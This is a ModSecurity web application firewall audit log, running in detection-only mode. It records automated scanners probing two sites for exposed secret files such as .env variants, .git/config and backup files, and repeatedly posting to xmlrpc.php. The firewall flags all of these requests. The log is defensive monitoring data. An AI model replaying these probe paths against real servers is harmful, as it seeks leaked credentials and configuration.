"/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Vn_kk7JsP-DN1XGMnHQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029727618616 1160432 (- - -) Stopwatch2: 1750029727618616 1160432; combined=2191, p1=370, p2=1426, p3=45, p4=66, p5=177, sr=100, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1189a54d-Z-- --bb1faf2c-A-- [16/Jun/2025:04:52:35.725685 +0530] aE9Vu0oyC4_VyyL7sS6NgAAAAAI 185.177.72.210 49498 127.0.0.1 7081 --bb1faf2c-B-- GET /:8008/mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bb1faf2c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ebaa0cb2b10bb331f7c410a4a541bbe21750029755; expires=Mon, 16 Jun 2025 00:22:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bb1faf2c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/mail/.env"] [unique_id "aE9Vu0oyC4_VyyL7sS6NgAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029755037391 688357 (- - -) Stopwatch2: 1750029755037391 688357; combined=1606, p1=361, p2=1150, p3=0, p4=0, p5=94, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bb1faf2c-Z-- --99592319-A-- [16/Jun/2025:04:52:43.175268 +0530] aE9VwtsSyryJAq1gQM3v6AAAAAs 185.177.72.210 44008 127.0.0.1 7081 --99592319-B-- GET /:10000/protokolle/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99592319-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=afd355b220c07acfc28f7e5fa43b0d9c1750029763; expires=Mon, 16 Jun 2025 00:22:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99592319-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/protokolle/.env"] [unique_id "aE9VwtsSyryJAq1gQM3v6AAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029762527635 647706 (- - -) Stopwatch2: 1750029762527635 647706; combined=2096, p1=443, p2=1543, p3=0, p4=0, p5=109, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99592319-Z-- --d74ec15b-A-- [16/Jun/2025:04:52:53.135221 +0530] aE9VzPkk7JsP-DN1XGMnPQAAAAo 185.177.72.210 43274 127.0.0.1 7081 --d74ec15b-B-- GET /:8181/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d74ec15b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0b5b009e3f0a849a2d34282cb821e7111750029772; expires=Mon, 16 Jun 2025 00:22:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d74ec15b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/front-end/.env"] [unique_id "aE9VzPkk7JsP-DN1XGMnPQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029772413126 722197 (- - -) Stopwatch2: 1750029772413126 722197; combined=2229, p1=708, p2=1404, p3=0, p4=0, p5=116, sr=216, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d74ec15b-Z-- --5a726e71-A-- [16/Jun/2025:04:52:56.253789 +0530] aE9Vz32GhYywD7zZgx4GgQAAAAM 185.177.72.210 43446 127.0.0.1 7081 --5a726e71-B-- GET /webui/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5a726e71-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e9b98d3fe2faeb7b5969ef25cb53ed721750029776; expires=Mon, 16 Jun 2025 00:22:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5a726e71-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/webui/.env"] [unique_id "aE9Vz32GhYywD7zZgx4GgQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029775595334 658516 (- - -) Stopwatch2: 1750029775595334 658516; combined=1571, p1=329, p2=1153, p3=0, p4=0, p5=88, sr=75, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a726e71-Z-- --a704fb64-A-- [16/Jun/2025:04:52:58.977444 +0530] aE9V0n2GhYywD7zZgx4GggAAAAM 185.177.72.210 43568 127.0.0.1 7081 --a704fb64-B-- GET /index.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a704fb64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=08c6c0533b45111226c928bc7ee2ea0c1750029778; expires=Mon, 16 Jun 2025 00:22:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a704fb64-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/index.php.bak"] [unique_id "aE9V0n2GhYywD7zZgx4GggAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029778310312 667228 (- - -) Stopwatch2: 1750029778310312 667228; combined=1957, p1=326, p2=1521, p3=0, p4=0, p5=110, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a704fb64-Z-- --bc8f0e40-A-- [16/Jun/2025:04:53:08.935988 +0530] aE9V3FxTdrwJSUMoZvG2xQAAAAc 185.177.72.210 42396 127.0.0.1 7081 --bc8f0e40-B-- GET /:8888/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bc8f0e40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8705f60c3d28da7d0c888d34dd4f74a01750029788; expires=Mon, 16 Jun 2025 00:23:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bc8f0e40-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.development"] [unique_id "aE9V3FxTdrwJSUMoZvG2xQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029788245545 690521 (- - -) Stopwatch2: 1750029788245545 690521; combined=1747, p1=409, p2=1228, p3=0, p4=0, p5=109, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bc8f0e40-Z-- --99ddb853-A-- [16/Jun/2025:04:53:08.952396 +0530] aE9V3Pkk7JsP-DN1XGMnSQAAAAo 128.199.112.101 42386 127.0.0.1 7081 --99ddb853-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --99ddb853-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --99ddb853-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9V3Pkk7JsP-DN1XGMnSQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029788004907 947591 (- - -) Stopwatch2: 1750029788004907 947591; combined=2336, p1=467, p2=1408, p3=48, p4=70, p5=216, sr=158, sw=127, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99ddb853-Z-- --704ba861-A-- [16/Jun/2025:04:53:11.097246 +0530] aE9V3pbumDYPKpRD2ekr2QAAAAA 185.177.72.210 41526 127.0.0.1 7081 --704ba861-B-- GET /:8008/app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --704ba861-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e3b167862742bbf6b31a14a06025f9101750029790; expires=Mon, 16 Jun 2025 00:23:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --704ba861-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/app/config/.env"] [unique_id "aE9V3pbumDYPKpRD2ekr2QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029790421304 676005 (- - -) Stopwatch2: 1750029790421304 676005; combined=1963, p1=379, p2=1483, p3=0, p4=0, p5=100, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --704ba861-Z-- --8e35f67d-A-- [16/Jun/2025:04:53:26.283923 +0530] aE9V7fkk7JsP-DN1XGMnUwAAAAo 185.177.72.210 50478 127.0.0.1 7081 --8e35f67d-B-- GET /site-library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8e35f67d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a40c033a828ff1f66b267be55d7438cb1750029806; expires=Mon, 16 Jun 2025 00:23:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8e35f67d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/site-library/.env"] [unique_id "aE9V7fkk7JsP-DN1XGMnUwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029805632583 651422 (- - -) Stopwatch2: 1750029805632583 651422; combined=1879, p1=354, p2=1432, p3=0, p4=0, p5=92, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8e35f67d-Z-- --f1bd866b-A-- [16/Jun/2025:04:53:34.040375 +0530] aE9V9X2GhYywD7zZgx4GmgAAAAM 185.177.72.210 45440 127.0.0.1 7081 --f1bd866b-B-- GET /private/.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f1bd866b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=079e50e38cb2d0a2c475175c05682f2f1750029813; expires=Mon, 16 Jun 2025 00:23:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f1bd866b-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.git/config"] [unique_id "aE9V9X2GhYywD7zZgx4GmgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029813355410 685079 (- - -) Stopwatch2: 1750029813355410 685079; combined=1952, p1=401, p2=1468, p3=0, p4=0, p5=82, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f1bd866b-Z-- --dd3d7456-A-- [16/Jun/2025:04:53:51.856866 +0530] aE9WB5bumDYPKpRD2ekr8AAAAAA 185.177.72.210 37382 127.0.0.1 7081 --dd3d7456-B-- GET /ui/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dd3d7456-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4a190440cce946aa5adaef3b38d393c1750029831; expires=Mon, 16 Jun 2025 00:23:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dd3d7456-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ui/.env"] [unique_id "aE9WB5bumDYPKpRD2ekr8AAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029831202811 654118 (- - -) Stopwatch2: 1750029831202811 654118; combined=1615, p1=334, p2=1187, p3=0, p4=0, p5=94, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dd3d7456-Z-- --31b8906e-A-- [16/Jun/2025:04:53:57.900061 +0530] aE9WDZbumDYPKpRD2ekr8wAAAAA 185.177.72.210 37658 127.0.0.1 7081 --31b8906e-B-- GET /typo3conf/ext/crawler/ext_tables.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --31b8906e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2e5995c2c347f00b41df31364f07ad141750029837; expires=Mon, 16 Jun 2025 00:23:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --31b8906e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/typo3conf/ext/crawler/ext_tables.sql"] [unique_id "aE9WDZbumDYPKpRD2ekr8wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029837205784 694343 (- - -) Stopwatch2: 1750029837205784 694343; combined=2016, p1=345, p2=1557, p3=0, p4=0, p5=113, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31b8906e-Z-- --b9628277-A-- [16/Jun/2025:04:54:00.687438 +0530] aE9WEMalTF-TysO2fMOEMgAAAAE 185.177.72.210 51480 127.0.0.1 7081 --b9628277-B-- GET /nginx/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b9628277-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=73bb23c211d3092945cdbe581ab936b01750029840; expires=Mon, 16 Jun 2025 00:24:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b9628277-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/nginx/.env"] [unique_id "aE9WEMalTF-TysO2fMOEMgAAAAE"] Apache-Handler: 